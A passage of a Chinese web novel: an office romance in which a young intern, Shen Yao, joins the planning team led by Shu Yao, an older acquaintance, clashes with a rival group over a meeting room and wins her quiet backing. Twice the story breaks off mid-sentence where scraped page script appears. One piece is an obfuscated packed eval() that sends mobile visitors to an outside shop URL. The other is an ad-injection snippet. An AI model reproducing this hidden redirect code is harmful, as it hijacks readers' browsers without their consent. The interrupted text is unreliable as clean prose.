梅悦儿挠了挠下巴,分析道:“据我所知,小张童鞋不是组长的菜。年龄比她小不说,也不够稳重。不过感情的事很难说,也许日久生情也说不定呢。毕竟小张童鞋具备近水楼台的优势,和咱们同组呢。我算算啊,从他进公司来我们组算起的话,大概有大半年了。说不定坚持个一年两年的,能把组长拿下呢。只要他够持久……” 沈曜坐在两人身后,将两个女生的对话听了个完整版。他的表情沉下来,嘲讽地勾了一下嘴角,起身离开。 梅悦儿的凳子被身后移动的椅背轻轻地撞了一下。她感觉到身后那桌的客人起身离开了。 她下意识地抬起头,只来得及看见一个高挑挺拔的男生背影从眼前掠过。那人身高腿长,几步便走出了咖啡吧,像是一阵捉摸不透的风。 梅悦儿兀自感叹那个堪比男模的背影帅得不要不要的同时,又觉得好像在哪儿见过。 - 两天后,宽敞明亮的室内篮球场里,一群二十岁左右的男生分成两队,正在打篮球的练习赛。 篮球在地面上落下又弹起的砰砰声、球场上的叫嚷声和周围阶梯看台上的交谈声混杂在一起,编织出一首名为“青春活力”的乐曲。 中场休息的哨声响起,两队球员分散开来,各自回到看台区喝水休息。 周思诺抹了一把脸上的汗,拿起放在背包上的矿泉水,拧开猛灌了几口,问身旁的好友,“喂。你平时不是一直打前锋吗?今儿怎么了?突然要打后卫?” 沈曜拿着毛巾,将头脸的汗水慢慢擦净,从背包里摸出手机,“嗯。要练练。” “练啥?练后卫?控球后卫还是得分后卫?”周思诺有点懵。就他所知,沈曜属于人狠话不多的类型,打篮球时就喜欢贴脸打进攻。后卫这种角色,与他平时的风格大相径庭。 “练防守。盯人。”沈曜意味深长地回了一句,划开手机屏保,打开邮件通知看了一眼: ---------- 尊敬的沈曜先生, 您好!我是鸿轩策划的HR陈如知,您的简历已通过我司的初步审核。现诚挚地邀请您,请于后天上午9点,携带本人身份证件、学生证及纸质版简历,来我公司参加实习岗位的面试及笔试。 如有疑问,敬请来电。 联系人座机:56968888-6689 公司地址:xxxx路联合中心广场16楼 ---------- 周思诺眼睛一瞥,瞄见了他的手机里的内容,只看到邮件的标题,于是好奇问道,“哟?你找着实习啦?哪个公司啊?” 沈曜将毛巾收好,“先去面试再说。” 周思诺仔细捉摸他的话,品出他的话外之意。脑中灵光一闪,笑问:“怎么?遇见你的女神姐姐了?你这是贼心不死啊。” 沈曜睨了他一眼,眼神凌厉。 周思诺轻轻拍了下自己的嘴巴,笑哈哈改口道:“用词不当、用词不当。你是旧情难忘、死灰复燃、贴身防守。” 沈曜没接他的话,只是望着被磨得有些发亮的旧地板出神。 42.徐徐图之(四) 星期五的下午一点,职场奋斗的氛围有些松懈下来。 忙活了近一周,念及周末即将来临,大家都不禁想摸鱼。 舒瑶从卫生间出来,一路穿过A组的办公区,见梅悦儿歪着一边肩膀在网上看八卦、钱晓蔓双眼放光的在抽游戏卡,仅仅是摇着头微微笑了一下,并未出声提醒她们。 舒瑶坐回自己的办公位,将组员午休之前发给自己的资料大致浏览一遍,做好分类归档。看着下属们这般懒散,她深表理解,同时抬起手臂伸了个懒腰。 快到周末了,无心工作也正常。她决定让他们再多休息半小时,免得被组员们嫌弃她不近人情。 电话铃声“滴滴滴”的响起来,舒瑶拿起听筒。听着听筒里的说辞,她点点头,说了声“好”就挂了电话。 坐在她背后的张宇哲悄悄瞄了眼她座机的号码显示框,发现那是人事部的来电号码。 没过几分钟,人事部的陈如知带着一位年轻的高挑男生穿过C组和B组的办公区,直直朝东边靠落地窗的A组办公区走过来。 所过之处,无一不引起一阵哗然。 超高颜值吸睛无数是必然的结果。 舒瑶将视线移过去,见到了那位引起骚动的“罪魁祸首”。 男生十分年轻,身量颀长挺拔,穿着一套月白色的半休闲西装套装,内里着一件高领白色打底衫,俊美无俦的五官加上得体的着装,无异于杂志封面里走出来的大帅哥,惹眼程度可想而知。 众女生们见他一路款款经过,仿佛一阵清新的春风吹进了办公室,顿时给周遭白灰相间的职场空间带来绚丽夺目的色彩。 舒瑶在心里感叹显眼包来了,面儿上却是镇定,走到陈如知面前,对她微笑颔首问好。 陈如知指指跟在身后的帅男生说道:“舒瑶,这位是沈曜。法政大学大三的学生,你们部门的实习生正好有空缺,就先派到你们部门来实习吧。” 其实每个实习生在复试以后、入职之前,是可以自己选择要去的部门的。 沈曜听过陈如知的对于公司内部实习生空缺部门的介绍,便主动申请到舒瑶的部门实习,陈如知就将他安排过来。 陈如知凑近舒瑶,小声笑着说:“大帅哥自己申请要来你们部门的哦。你们部门的妹子可有眼福啦。” 舒瑶露出笑容:“好的。我知道了,我会安排好的。辛苦你跑一趟了。” 陈如知:“应该的。别客气。”说完就回人事部去了。 舒瑶盯着面前的男生看眨眨眼,见他望着自己的眼中充满盈盈笑意,不由的暗自好笑。对他招招手,带至扎堆的组员面前,和大家介绍道:“这位是沈曜。你们上次在KTV见过了。以后他就在我们部门实习。” 沈曜对他们点头打招呼,“沈曜。你们好。” 也不知是哪个女生轻声说了一句:“好酷。” 舒瑶见惯不怪,对沈曜逐一介绍了组员们的姓名和大致的工作内容。 “嗨~帅哥!欢迎加入策划A组。” “以后有什么不懂的,随时来问。” “是呀是呀。别拘束。” “活这么大,我还是第一次当面见到撕漫男!” 梅悦儿、钱晓蔓和另两个妹子几人的眼睛就和探照灯似的,满脸写着兴奋。部门里来了这么个大帅哥,上班仿佛都有了无限动力。 听组长说明年他们部门会放一个招新名额出来,不知道这个帅哥能不能留下。 张宇哲表面不动声色的与沈曜说了声“嗨”,心里却警铃大作,立刻把他划分到劲敌那列。这实习生望着舒瑶的眼神明显颇具深意,看来以后他得更积极些地追舒瑶才行。 徐桢是A组的美工,中等身高、相貌属于比较端正那一款。他常年穿着各种格子衬衫,平时负责给PPT润色、活动现场的拍照和摄像、还会处理一些图片、设计海报和宣传画等。 他为人比较内向,除了工作外出以外,是个大宅男。以前在组里话比较少、存在感也低。直到同样喜欢二次元的钱晓蔓加入,他和她有不少共同话题,话才变多了一些。 上次KTV唱歌徐桢没去,这是他第一次见到沈曜,心里震撼无比,对钱晓蔓说这新来的实习生是“撕漫男”深以为然,一脸憨厚地对沈曜说着“欢迎加入。” 舒瑶环视一圈自己的组员,心里对谁最合适带他快速做了一番评估。 梅悦儿进入公司最久,对公司的制度和运作也最熟悉,部门内的大小事务她都清楚,于是舒瑶对梅悦儿说道: “以后你就负责带沈曜。和他说说咱们公司和部门的内部情况。他的专业是法学,今天下午开始,你可以将我们这几年的合同复印件都交给他,让他维护更新一下合同管理电子档案。然后把废掉的合同给他,下午去销毁掉。其他的活儿,你看着给他安排就行。” 梅悦儿能领到大帅哥当徒弟,自然一百个乐意,连连点头。 舒瑶又转头交代沈曜,“你等会儿做一份你每周能来的时间表,发给我和悦儿。好方便我们安排工作。等会儿我把邮件地址写给你。” 沈曜绕着A组划分出的办公区扫视一圈,“没问题。对了,我坐哪儿?” 舒瑶是组长,沈曜的位置当然是她来定。 她环视四周,张宇哲的左边和自己的右后方正好都有一个空的位置,便请沈曜自己选。 沈曜眼眸烁烁地凝视她,“组长,你的位置在哪?” 众人见新入职场的实习生如此直接,八卦的眼神更亮了。 舒瑶愣了会儿,指着靠墙的位置,“我的办公位在那儿。” 沈曜灿然笑道:“那我坐你后面那位置吧。” 众女生被他完美的浓颜加毫不避讳的笑容殃及无辜,捧着被电麻的胸口直呼新人犯规,一来就对她们组长公然放电。 沈曜扯扯嘴角,怂怂肩,却不否认。 舒瑶一看他那个架势,顿感头疼。 -- 有了帅哥的加入,梅悦儿星期五下午那懒洋洋的劲儿顷刻就烟消云散了。她将沈曜领到茶水间的休息区。 鸿轩策划的茶水间是个长方形的玻璃隔间,其南面是一整片落地窗。 阳光从外部透进来,将室内照射得分外明亮。与落地窗隔开一段距离,是两个连排的橱柜,橱柜旁边设立了一个狭长的木质吧台,吧台上摆放着咖啡豆、咖啡机、红茶、绿茶、小饼干、薄荷糖等饮品和小零食,有需要的员工可以随时取用。 茶水间的东面放着一排景观盆栽,有多肉、也有小仙人球、仙人掌等,为以灰白为主色调的办公区域增添不少绿意。西边则放置着三排长条形的造型极简的餐桌和高脚椅,供员工们茶歇或午餐使用。 梅悦儿从咖啡机里接了两杯清咖,递给沈曜一杯,兴高采烈的和他介绍公司的发展愿景和部门所负责的项目类型。 沈曜自然地曲着两条大长腿坐在高脚椅上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13699443|139776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,凝神听她讲解,偶尔会提几个问题。 梅悦儿不经意间扫到他修长笔直的小腿随意地搁在深灰色地毯上,又瞄了眼自己即便穿着高跟鞋依然晃荡着和地面有一段距离的小短腿,暗自感叹女娲的偏心。 她好歹也有165,腿长在正常范围之内,可是和沈曜的一比,明显短了一大截。 自从他俩进了茶水间,几乎每个部门都会有年轻的小姑娘时不时进来倒咖啡或泡茶,整个楼层的办公区人来人往,气氛明显比以前星期五下午活跃很多,显现出一派朝气蓬勃。 看公司众姐妹们带着兴奋窃喜的表情进出往来茶水间如此频繁的观望趋势,他们公司的司草很明显已经换人了。 新司草帅气逼人,还就在自己部门,还是自己负责带他。一想到这儿,梅悦儿心里就骄傲嘚瑟的快要冒泡泡了。 梅悦儿噼里啪啦将公事赶紧讲完,惦记着他和舒瑶的关系,她实在忍不住自己熊熊燃烧的八卦之心,见沈曜的神态挺放松,便大着胆子和他打听私事。 “听说你是咱们组长内部推荐来实习的?” 沈曜将杯中剩余的咖啡一口闷掉,从口袋里慢悠悠地摸出一盒口香糖,拨开包装纸扔进嘴里,“是啊。” 梅悦儿的眼睛一亮,声音轻了两分,打探的语气越发明显,“你和组长认识多久了?” 沈曜顺手递给她一片,“七年了。” 七年?!那可真是够久的了。 梅悦儿对他道了声谢,接过那糖,“你怎么想到来我们公司的?组长应该告诉过你法务部没实习岗了吧?” 沈曜将糖纸捏起一小团,随意一扔,那小纸团稳稳地落入长桌另一侧的烟灰缸里。 梅悦儿惊讶于他的准头,沈曜却不以为意,只对她的问题回答地理所当然:“因为她在这家公司。” 梅悦儿的八卦触角不停转动,她在心里捂了捂胸口,想着:现在的小年轻说话可真是毫无顾忌,直球打起来一点儿心理负担都没有。 旁敲侧击才能得到答案? 不存在的。 那晚这男生在KTV看舒瑶的眼神就很有内容,梅悦儿直觉他们之间曾有过什么。现在亲耳得到他的回答,梅悦儿只觉得心脏激动的砰砰跳。 作为一个资深的职场八卦人,梅悦儿是抱持谨慎态度的,仅凭沈曜目前提供的信息,她还无法确认两人是否存在纯友谊之外的情感。如果误会了什么,那还是挺尴尬的。 毕竟沈曜和舒瑶年龄差的有点多。他们两人算是老熟人。有个老熟人在公司里,想进公司实习还能有个人照应着,这也是人之常情。 梅悦儿再次深挖试探道:“我看你简历,你比组长小了七岁啊。组长人很好的,个性独立、内心强大,是个很贴心可靠的大姐姐哦。” 沈曜听到她拐弯抹角的说辞,轻轻勾着嘴角笑了。 他将散漫盯着走廊的视线收回来,右手无意识地转动摩挲着左手中指上的银戒,似笑非笑地回复梅悦儿的试探:“对我来说,她不是姐姐。我从来没将她当过姐姐。” 梅悦儿一惊,心道这家伙年纪虽然小,但胆子可够大的。 瞧他这恨不得昭告天下的坦荡样子,这男生不但敢想、还敢做。 这不都混进组长的公司里来了。难道自己真的猜对了?这帅弟弟真的对组长有别的心思? 沈曜将她吃惊和疑惑的表情尽收眼底,浅笑着,语出惊人:“就是你猜的那样。” 43.我的人 梅悦儿带着沈曜回到办公位。 她先从公用的一个文件组合柜里找出圆珠笔、笔记本等几样新文具交给沈曜,接着又从靠墙的铁皮书柜里捧出厚厚的一沓文件放到他桌上。 看了眼电脑上显示的时间是两点一刻,梅悦儿对沈曜仔细交代道: “呐。这些是我们整个策划部五年以内的合同复印件。原件都在法务部保管。不过我们自己也得做一些合同管理。最近太忙了,一年之内新签的合同我还没来得及分类登记,你下午把这些合同分门别类的登记一下。顺便检查一下之前四年登记的合同记录,看看有没有错误信息和错别字。我记得我之前登记的时候,是有几个错别字的。后来电话进来,我就被喊去忙别的去了,没来得及核对和修改。” 沈曜听得认真,一一应了。过了几秒,他提出疑问:“整个策划部的合同都在A组保管?B组、C组的全包括在内?这样不会泄密吗?” 梅悦儿:“对,都在A组保管。不用怀疑。三个组的业务类型是没有交叉的,不存在泄密问题。虽然策划部分了A、B、C三组,但是公司百分之五十左右的业务都在A组。即便我们三个组的组长在公司内部的职级评定都是‘经理’,但是就业务量来说,确是我们A组占了大头。因此合同这类重要文档,都归到A组来保管和梳理了。以后根据B组、C组的业务扩大,可能会分出去由他们自己记录保管,但目前一、两年,还是暂时放到咱们A组保管和登记的。” 沈曜颔首,表示没有疑问了。 梅悦儿又从自己桌上撕了张便签纸,拿笔在上面写了一个邮箱和密码,“这是我们部门的一个临时邮箱,专门给实习生用的。你把它收好。以后有什么工作,我们都是通过内部邮件发送的。” 公司给每个办公桌下面都配备一个带滚轮的铁皮文件三层柜,这是给员工自行使用的私人专属文件柜。 沈曜快速看了几眼,将邮箱地址和密码背了下来。又将那张纸夹到笔记本里,放进办公桌下面文件柜第一层的最里面。 没过两分钟,他就收到了梅悦儿发来的邮件,是一份合同登记表。他双击点开表格,从头到尾仔细浏览。 表内根据合同订立年份、合同类型、合同执行日期、合同编号、有效期、甲方名称、是否招投标、是否长期合作、价格区间、是否存在客户投诉、是否有补充协议等信息,登记的非常细致。 这是个需要静下心来花时间和精力好好维护的细致活计。 听刚才梅悦儿介绍的公司情况,公司近两年的规模扩张迅速、业务骤增。现在每个部门都恨不得一个人当三个人用,难怪梅悦儿没时间继续去做这类文档工作。 沈曜将那沓合同复印件搬到自己手边,一份一份地翻阅起来。 他默读的速度极快,没到二十分钟就将那些合同分别按照时间顺序、一次性协议和长期合作协议分类好,用彩色的标签纸隔开来以便于后续的分类登记。 办公区内,不时的有电话铃声响起。 张宇哲忙着与B组的组员商讨PPT合并的细节;徐桢正在和供应商商量海报印制品质的分类报价单;梅悦儿聚精会神的在键盘上“哒哒”敲着活动文案;钱晓蔓算是最晚进公司的,一些类似于文秘和行政支持的杂活儿落到她头上,她正在专心地整理着组员们这个礼拜汇总起来的各种交通和餐费报销发票。 就这么各自忙碌着,到了三点五十分,钱晓蔓的手机闹钟响了。 “组长,部门周例总结会的时间到了。”钱晓蔓关了闹钟,抬头对隔开她三个座位的舒瑶提醒道。 每周五下午的四点到五点之间,是舒瑶定的部门一周工作汇报总结的例会时间。 每个组员依次向舒瑶报告这周的工作内容、项目跟进进度、出现的问题等,舒瑶听过之后会提出解决建议,或者对组员们提出的意见给于批复,时长通常在半小时到三刻钟左右,只要汇报完了,就会立马散会。 如此安排,组员们就会对彼此手上的项目进度有一个大致了解,万一有人请假或突然离职,别的人也能马上补上,做一些力所能及的后续跟进和协调工作。 舒瑶不允许组员捂着项目进度不让其他人知道,一旦发生问题,会导致连个接替备档的人员都安排不出来的情况发生。那会严重影响他们团队整体的业绩、口碑和工作效率。 听到钱晓蔓的提醒,埋头写稿的舒瑶才发现已经到这个点儿了。 她将手头正在做的文件保存好,锁了电脑屏幕,拿起水笔和笔记本,对大家说道:“好了。大家先停一下,把做好的文档保存好,喝口水上个厕所,五分钟后在第三小会议室开会。” 鸿轩策划公司一共有四个会议室,其中会议一室、会议二室都是大会议室,通常用以公司高层会议或者培训才会使用。会议三室和会议四室是偏小型的会议室,用来给部门开会或者进行面试时使用。 会议室的预订和使用都是前台的行政人员那边负责登记和管理,有任何变更都需要通知前台进行会议室使用备档登记。 A组一行八个人来到会议三室时,见里面坐了五、六个人。钱晓蔓踮起脚,越过磨砂玻璃隔断往里瞄了一眼,见那些人已经合上笔记本,有说有笑的,不像是在说公事,只是在纯聊天而已。 舒瑶看了眼负责定会议室的钱晓蔓,轻声问道:“怎么回事?” 会议室外面还有其他的部门在办公,他们不能太大声说话,会影响到别人。 钱晓蔓有点紧张,会议室是她去订的,现在出了问题她比谁都着急,“C组定了三点到三点五十分的会议三室。”她看了眼手机上的时钟,“现在已经四点了,他们应该用完了才对。” 沈曜以眼神向站在他旁边的梅悦儿询问,梅悦儿用单手挡在嘴边,悄声和他解释:“C组的老大和我们老大不太对付。我觉得她就是嫉妒我们老大。仅代表我个人观点,你听听就算,别往外传。” 沈曜挑了挑眉头,没说什么。 钱晓蔓敲了敲会议三室的门,推开一点,笑着和C组的组长李瑗友善提醒道:“李组长,会议室用完了吗?已经四点了,我们部门定了这里,要开例会了。” 沈曜顺着推开的门隙看进去,见坐在主位的是个和舒瑶差不多年纪的女人,比舒瑶的身形稍微宽一点。她穿着红色的职业小洋装,小方脸上化着职业妆,只是眼线画得又深又长,整个人着装和妆容的风格偏张扬。 李瑗对钱晓蔓扯了扯嘴角,敷衍道:“快了,稍等一分钟。” 钱晓蔓抿抿嘴,礼貌地带上了会议室的门。大家都在会议室外安静地等待。 掐着手机算好了时间,过了两分钟,还不见会议室里的人有动静。钱晓蔓白净的娃娃脸上出现了焦急的神色,细密的小汗珠布满了鼻尖。 当她抬手想再敲门时,舒瑶对她摇了摇头,示意她别敲了,对她说:“别提醒了。你用旁边空座位上的电话打给前台,让前台来协调。” 钱晓蔓应下,一边走到空座位拎起话筒,一边气鼓鼓地嘟囔:“他们明明已经开完会了,怎么还这样?我刚才推门的时候还听到他们在讨论电视剧呢。总是喜欢搞这些不上台面的小动作,真low!” 拨通前台的分机后,钱晓蔓刚和前台的妹子说了没到两句,就觉眼前一晃,高个子的年轻男生一阵风似的路过面前,径直走向会议三室。 钱晓蔓微微张着嘴,目瞪口呆地望着部门里新来的帅实习生。 沈曜人高腿长,三步过去,已经越过身边站着等待的好几位同事。 他毫不犹豫地抬手“叩叩”敲了两下会议室的玻璃门,一把将门完全推开,脸上不见笑意,微微蹙着眉头俯视那些坐在座位上的人,朗声问道:“请问你们会议室还没用好吗?已经四点零三分了。” 沈曜的身高有186.5,挡在会议室门口,头顶都快碰到门沿儿了。 梅悦儿、张宇哲、徐桢等A组的组员们见他拽拽地靠在会议室的玻璃门边目不斜视地盯着会议室里的人,全都怔住了。 大家都是同一个公司的同事,一般为了表面和气,即便在工作中有一些交流障碍或不满,也不会轻易在脸上显露。但新来的沈曜明显是个例外。 众人心中各种惊叹层出不穷: 这么直接的吗?! 一点儿都不带客气的? 小年轻真勇! 气场两米八! 00后整顿职场原来是真实存在的! C组的组员看见这么一个毫不客气的帅哥立在会议室门口,因为个子高、还逆着光、推门的动作很拽,越发衬得他气势凌厉,压迫感十足。 起初的几秒谁都没敢开口,都被他给震住了。 C组的几个女生虽然因为逆光的原因看不清他的脸,但对他的身形和衣着印象尤为深刻,认出他是刚进A组的实习生,更是面面相觑。 过了好一会儿,才有个C组的男组员对他很不客气地说道:“你是谁啊?没见到我们还没谈完?” 沈曜嗤得笑了一声,目光锐利闪亮,直视着他,“我看得见。再说我视力挺好的。” 他话中的意思是老子不瞎,你们谈没谈完我分辨得清。 那男组员没想到沈曜这个生面孔这么不客气,更气了,质问道:“你新来的吧?懂不懂职场规矩?” 沈曜毫不退缩,嘴角带着嘲讽的笑意,举起手机屏幕上的时间,用手指点了一下,“你们的会议室订到三点五十分结束,现在超时十三分钟了。如果一开始没计算好会议时间,为什么不多订一会儿?这么初级的错误,连我这个新来的都不会犯。” C组的那名男组员被他怼的顿时黑了脸,气焰嚣张道:“你是A组的吧?当心我和人事部投诉你。” 下属之间互相有点口角上的摩擦,本来不算什么。但很显然,C组那位男组员是在李瑗的默许下才会这么不客气的。 舒瑶见沈曜怼他怼的差不多,慢悠悠地站到他身边,对那位组员微笑道:“不好意思啊小郑,这是我们刚来的实习生。他初入职场,你别和他计较。” 一个唱红脸,一个唱白脸,上司下属配合的组合拳嘛,哪个部门不会? 那位姓郑的组员看见舒瑶,顷刻收敛起恶劣的态度,脸也没那么黑了。“怎么会呢,舒姐您这说的我都不好意思了。” 舒瑶笑眯眯地望着他,半开玩笑半认真的问:“听说你要投诉我的人?投诉他什么?投诉他提醒你们会议室使用时间到了?” 组长这话说的太妙了,拿着别人说的占理的话去投诉,谁见了这种事不笑话? 梅悦儿和徐桢在一旁捂嘴笑了一下。 C组的组员脸上露出明显的尴尬。舒瑶那句“我的人”袒护意味明显。 李瑗看够了戏,轻轻咳了一下缓解气氛,这才从皮座椅上 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 站起来,“舒瑶你别介意啊。我们刚才讨论项目讨论的太专注了,没注意时间。” 舒瑶对她笑着摇了摇头,没再说什么,只是与沈曜一同立在会议室门口,用明亮的眼神望着他们,默默地施压。 这种时候,不说话反而更显高级。 李媛又象征性的客气了几句,带着组员们讪讪离开了。 沈曜站在门口,等到A组的组员们全走进去,缀在队伍最后的他才跟进去。舒瑶却在这时退了几步,来到他身边。 女人身上熟悉的沉水香气幽幽飘来,无意间撩动人心。 沈曜偏头看着她秀美的侧颜,以为她要教育他,却见舒瑶微微倾斜身体凑近自己,用只有两人才能听到的声音轻喃:“做得很好。我们不惹事,但是我们也不怕事。” 沈曜有点诧异地望着她,“你不怪我不懂职场礼貌?太冲动?” “你看你不是都知道嘛。”舒瑶笑着瞥他一眼,又道:“你这个年纪不冲动,什么时候冲动?趁着还没被社会磨平棱角,就再尽量保持一段时间吧。” 沈曜唇边的笑意扩大,戏谑地问:“你就不怕我过于有棱角,过了头兜不住?” 舒瑶无奈地瞪他一眼,将声音放得更轻,“兜不住不是还有我嘛。”这种纵容下属不按套路出牌的事,她可不敢让别人听见。 她确实讲规矩懂圆滑,但她也同样护短,“不过以后还是尽量收敛点表情哈,太拽了容易招人记恨。” 沈曜眼睛倏然一亮,“你不想我被人记恨?” 舒瑶一脸“你怎么说废话”的表情,睨他,“当然啊。” “哦。”沈曜心里涌起一股难言的甜意。 舒瑶的一番话给了他一种被袒护和被宠着的感觉。他略微羞涩地摸了摸鼻子,又对她眨了一下眼睛。 ——能帮到你就好。 舒瑶快走几步,来到会议室内的主位坐下。心里纳闷的想:这小子刚才不还挺横的么?这回得了表扬害羞个什么劲儿。 她却不知道,沈曜如此细腻的一面,是不会轻易对其他人展露的。 钱晓蔓进了会议室,边拖凳子边和梅悦儿轻声吐槽:“搞不懂这李组长,每次和我们组长耍小脾气都斗不过,还屡败屡战。格局太小了,还是咱们组长气量大。” 梅悦儿赞同的点点头,“就是啊。有些人就是这样,越不服气越喜欢招惹是非。刷存在感呗。” 舒瑶听见两人的嘀咕声,默默朝他们扫了一眼。 梅悦儿摆好凳子,与钱晓蔓咬耳朵,“嘘……看破不说破。组长不喜欢我们背后念叨其他人的是非。” 钱晓蔓:“哦哦。好的。” 梅悦儿嘻嘻笑了一声:“组长喜欢明刀明枪地直接上。” 钱晓蔓:“噗。” 梅悦儿:“不过我们组长很懂得分寸,她曾说做人做事态度可以柔软圆融,但是原则必须坚持。你多学着点儿吧~” 钱晓蔓眼睛亮晶晶的,用力点点头,“组长真是我的偶像。” 沈曜找了个离门近的位置坐下,将两个女生的对话听进耳里。他悄悄翘了下嘴角,望着舒瑶的眸中露出欣赏的目光。 舒瑶的性子的确不能算柔和,想当年自己初二那时候脾气冲的吓人,两人第一次见面,舒瑶就敢抵着自家的大门和他叫板,即便受伤了也不曾显露出退意。自己那时候也是被她漂亮的外表和彪悍的性格形成的强烈反差狠狠萌了一下,留下了一见难忘的深刻初印象。 “好了,大家安静一下。咱们抓紧时间,争取早点下班。”舒瑶拍了拍手,示意大家专心开会。她点了张宇哲的名字,由他先开始汇报这周的工作进度。 轮到钱晓蔓时,钱晓蔓将自己遇到的难题提出来: “组长,初选出来的两位微博动漫Cosplay圈粉丝量很高的角色扮演玩家,也就是Coser,其中一个莉莉安是老牌Coser了,在圈子里已经混迹近十年,粉丝大部分都是真实的。但是另一位新起之秀洛丽,我翻了一下她几个活跃的大V粉丝,好像都是营销推手。这样一来,她人气的真实性就很难保证了。这会影响到活动当天到场的粉丝数量吧?要么我们就只邀请莉莉安?至少她的真实粉丝量比洛丽的高很多,推广宣传效果肯定更好。” 舒瑶听完钱晓蔓的问题,凝神细思片刻,心中有了决定: “选择莉莉安似乎更稳妥些。但是洛丽的背后应该是有专门运作的团队,未来发展前景也不可小觑。我们只是方案的计划者,并非决策者,至于究竟怎么选,还应该上报两边的管理层,请他们来决定。等会议结束后,我会和陈总以及汉广文化的项目负责人说明这个问题,由他们来进行最终筛选。” 舒瑶对于自己部门的工作定位十分明确清晰,像此类会影响客流量和推广有效性的重要事项,管理层有权知道并决定。 众人听过她的阐述,也纷纷表示赞同。 沈曜见她一边认真聆听一边低头记录的样子,想到她刚才见自己和C组对峙时默默站到自己身边,用身体力行表示着对自己的支持,为自己壮胆,心里感觉暖丝丝的。 那句“听说你要投诉我的人”更是撩人心弦。 脸上遽然一阵发热,沈曜赶忙垂下头,用手指搔了搔眉梢,掩去眼角挡也挡不住的笑意。 说者无心,听者有意。 “我的人”是多么亲昵的一种称呼啊。 44.措手不及(一) 舒瑶不知道,“我的人”这几个字,让沈曜的心情好了一整天。 下周要和汉广文化的人进行第一次活动方案的沟通会,因此当大家开完汇报例会准备点奶茶放松一下的时候,舒瑶还在仔细审阅张宇哲做的PPT第六版修改稿。 A组平常是不太喝奶茶的,一般点咖啡点的多。 今天是周五,又有新来的超级帅哥实习生,组里的妹子们一个赛一个的振奋。梅悦儿主动提出请喝奶茶,众人当然欣然同意了。 梅悦儿打开外卖App,找到口碑最好的一家连锁奶茶店,挨个儿问同事要喝什么。 张宇哲点了杯冰柠檬茶,钱晓蔓点的黑珍珠鸳鸯奶茶,徐桢要了常温的芋圆奶茶,轮到问舒瑶的时候,她太过于专注手头的工作,梅悦儿唤她第一声时,她竟然没听到。 沈曜从正在登记的文档中抽离视线,对梅悦儿说道:“组长要无糖的港式奶茶,温热的。我跟她一样。谢谢。” 梅悦儿点头,盯着手机屏幕很快点了两杯加入购物车并付了款。 直到摁灭手机屏幕,梅悦儿才回过味儿来,扭头问沈曜:“我记得之前组长就点过这个。你怎么知道组长喝惯的口味的?” 舒瑶在公司时极少喝奶茶,就算被组员拖着一起点,也只点一个口味的,那就是温热的无糖港式奶茶。 这小青年似乎很了解组长的饮食喜好? 沈曜对她礼貌地笑了笑,没说话,又将视线移回自己处理的文档上继续工作。 梅悦儿摸摸下巴,她分明从沈曜的眼神中瞧出一抹得意,是那种不加掩饰的“我当然了解她”的炫耀。 她在心里下了结论。 ——这个新来的实习生不简单。 梅悦儿又悄悄朝张宇哲望去,果然从他拧起的眉头中嗅到了一股醋味。 这是不是意味着,接下来上班的日子,有无尽的八卦可以看了? 一刻钟后,舒瑶刚改完一个段落的方案。 她抽神抬头伸了个懒腰,见梅悦儿站在自己工位上左右四顾,笑着斥她:“喂喂喂。点完奶茶就别摸鱼了。赶紧把你刚才写的那段文案发我看看。” “嘿嘿嘿~”梅悦儿吐了下舌头,“得令!” 舒瑶站起来微微转了转有些僵硬的腰,这才忆起刚才梅悦儿帮大家点过奶茶,问她:“对了,你给我点了什么奶茶?” 刚才她太专注于手头上的工作,双耳自动屏蔽了周围的各种声音。 梅悦儿:“无糖港式奶茶,温的。” 舒瑶颇感意外,“我记得我上次点奶茶是三个月前,你翻当时的记录了?” “没啊。沈曜弟弟帮你点的。” 大学时期的舒瑶常喝奶茶,在沈曜家也点过几次。 这小子记性居然这么好。几年过去了,他还记得自己的口味偏好? 舒瑶心念一动,朝身后的沈曜望去。 他也正好回头看她,两人视线一接触,沈曜的眼神晃了晃,立刻回头继续吧嗒吧嗒地敲键盘。 舒瑶狐疑地瞧着他,却发现这小子的耳廓肉眼可见的红了。 嗯?这家伙现在怎么这么容易害羞? 凭她对他的了解,不应该啊…… 没等舒瑶想明白,张宇哲的座机响了。 张宇哲恰巧离开去了洗手间,沈曜顺手接了起来。 “您好。抱歉,我不是。他暂时离开座位一下,您过五到十分钟再打来吧。或者您告诉我您的联系方式,我让他回来给您回电。” 梅悦儿、钱晓蔓和徐桢几人本在轻声说笑,听到沈曜涓滴不漏的职场应答,不由自主地朝他看去。 连舒瑶都忍不住回头盯着他的背影多瞧了两眼。 之前的实习生刚来时,替别人接电话都会紧张或磕巴,遇见请假或上厕所的情况,多半也是直白地告知实情。 很少有新人能像沈曜这样,既能礼貌委婉的告诉对方他想找的人不在,又不透露同事的行踪。 被沈曜的职业化惊讶到的舒瑶忽而联想到一件被自己忽略到的事。 刚才开完会她就忙着赶报告,现在赶完了,点的奶茶也还没来。舒瑶觉得有必要将之前会议室门口发生的那件事和小朋友说一下,免得他对职场留下什么心理阴影就不好了。 “沈曜,你和我去一下茶水间。”舒瑶说。 沈曜背脊一绷,将手头做的文档保存好,便跟着舒瑶走了。 两人来到光线明亮的茶水间,找了个角落的位置坐下。 舒瑶又取过两瓶矿泉水,递给他一瓶,说:“你今天刚来实习,有些职场默认的规则,我想和你说明一下。这也是我作为领导应该做的。” 沈曜将那瓶水搁到桌面上,将高脚椅转到面对舒瑶的方向,盯着她的眼睛,俨然一副认真听学的样子。 舒瑶心里微感诧异。 她以为这小朋友和自己是熟人,所以还会摆出平时与自己在一起那种放松的样子,没想到他面对上司下属的角色切换,竟是这样公私分明的态度。 舒瑶暗自对他赞赏一番,说道:“刚才你和C组那些同事发生口角,我一开始没有帮你说话……” 